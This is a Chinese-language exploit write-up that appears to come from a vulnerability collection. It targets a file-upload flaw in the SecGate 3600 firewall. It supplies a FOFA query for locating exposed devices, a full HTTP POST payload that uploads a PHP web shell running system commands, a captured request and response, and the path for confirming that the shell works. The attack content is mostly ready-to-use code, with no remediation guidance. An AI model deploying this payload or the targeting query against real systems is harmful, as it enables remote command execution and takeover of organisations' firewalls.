

## Q1-6奇安信-网神SecSSL3600-文件上传

### 漏洞描述：

网神SecGate 3600防火墙 route\_ispinfo\_import\_save接口处存在文件上传漏洞，攻击者可以通过该漏洞获取服务器控制权限。

### 网站图片：



### 网络测绘：

#### fofa语法：

FOFA: title="网神SecGate 3600防火墙"

### 漏洞复现：

#### payload:

```
POST /?g=route_ispinfo_import_save HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc

-----WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
-----WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="reqfile"; filename="1.php"
Content-Type: text/plain

<?php system("whoami");?>
-----WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

route_ispinfo_import_save
-----WebKitFormBoundaryJpMyThWnAxbcBBQc--
```

#### 效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /?g=route\_ispinfo\_import\_save HTTP/1.1

2 Host: 133

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36

4 Accept: \*/\*

5 Accept-Encoding: gzip, deflate

6 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc

7

8 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

9 Content-Disposition: form-data; name="MAX\_FILE\_SIZE"

10

11 10000000

12 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

13 Content-Disposition: form-data; name="reqfile"; filename="1.php"

14 Content-Type: text/plain

15

16 <?php system("whoami");?>

17 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

18 Content-Disposition: form-data; name="submit\_post"

19

20 route\_ispinfo\_import\_save

21 -----WebKitFormBoundaryJpMyThWnAxbcBBQc--

Responses https 4551bytes / 157ms

1 HTTP/1.1 302 Found

2 Set-Cookie: \_\_s\_sessionid\_\_=senot

3 Expires: Thu, 19 Nov 1981 08:52:00 GMT

4 Cache-Control: no-store, no-cache

5 Pragma: no-cache

6 location: /?permission\_error=1

7 Content-type: text/html

8 Connection: close

9 Date: Tue, 06 Feb 2024 16:28:54 GMT

10 Content-Length: 4551

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

验证url

/attachments/1.php

PS: 提示“此网站无法提供安全连接”的站点，虚拟机打开kali浏览器验证即可

A screenshot of a web browser window. At the top, there is a warning bar that says "Warning: Potential Security" with a close button. Below the warning bar, the address bar shows the URL "https://133.4433/attachments/1.php". The page content includes several links: "Kali Linux", "Kali Tools", "Kali Forums", "Kali Docs", "NetHunter", and "Offensive Security". Each link is accompanied by a small icon.

apache